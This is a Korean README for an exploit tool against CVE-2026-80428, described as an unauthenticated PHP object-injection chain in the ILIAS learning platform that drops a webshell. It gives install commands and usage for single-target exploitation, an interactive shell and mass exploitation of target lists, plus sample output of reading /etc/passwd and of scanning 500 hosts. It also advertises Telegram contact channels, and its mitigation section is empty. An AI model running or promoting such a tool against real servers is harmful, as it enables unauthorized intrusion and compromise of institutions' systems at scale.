CVE-2026-80428

📖 목차

• 🔍 개요
• ⚙️ 취약점 체인
• 🎯 영향받는 버전
• ✨ 기능
• 📦 설치
• 🚀 사용법
  • 단일 대상 익스플로잇
  • 대화형 셸
  • 대량 익스플로잇
• 📁 대상 목록 형식
• 🖼️ 스크린샷
• 🛡️ 완화 조치
• 📢 채널 및 커뮤니티
• ⚠️ 면책 조항

🔍 개요

CVE-2026-80428은 ILIAS 학습 관리 시스템에 영향을 미치는 치명적인 인증되지 않은 PHP 객체 주입 취약점입니다. ltiauth.php의 세션 포이즈닝 프리미티브와 shib_logout.php의 안전하지 않은 unserialize() 호출을 연쇄적으로 악용함으로써, 공격자는 임의 파일 쓰기를 수행하고 궁극적으로 원격 코드 실행(RCE) 을 달성할 수 있습니다 — 이 모든 것이 인증 없이 가능합니다.

⚙️ 취약점 체인

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

단계별:

1. **ltiauth.php**는 검증 없이 직렬화된 페이로드를 PHP 세션에 저장합니다.
2. **shib_logout.php**는 조작된 Shibboleth LogoutNotification SOAP 요청을 처리하고 세션 데이터에 대해 unserialize()를 호출합니다.
3. GuzzleHttp\Cookie\FileCookieJar 가젯이 file_put_contents()를 호출하여 공격자가 제어하는 경로에 PHP 웹셸을 드롭합니다.

🎯 영향받는 버전

✨ 기능

📦 설치

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

요구 사항:

• Python 3.8+
• requests
• urllib3

🚀 사용법

python3 CVE-2026-80428.py <mode> [options]

📌 단일 대상 익스플로잇

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

옵션:

💻 대화형 셸

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 대규모 익스플로잇

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

옵션:

📁 대상 목록 형식

targets.txt 파일을 생성하세요:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

지원 형식:

• host
• host:port
• http://host
• https://host:port
• host/path (경로 제거됨)

🖼️ 스크린샷

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ 완화 방안

방어자 및 시스템 관리자용:

📢 채널 및 커뮤니티

🌐 커뮤니티 참여

 

 

📬 직접 연락

👤 플랫폼	🔗 핸들
💬 Telegram DM	@HackfutS3c
☁️ ULP Cloud	@ulp_CLOUD1
📢 채널 1	t.me/+gsrpvshwGUc5MzI0
📢 채널 2	t.me/LinxProdXs404

⚠️ 면책 조항

╔══════════════════════════════════════════════════════════════════╗
║                                                                  ║
║   ⚠️  FOR AUTHORIZED SECURITY TESTING & EDUCATIONAL USE ONLY  ⚠️  ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝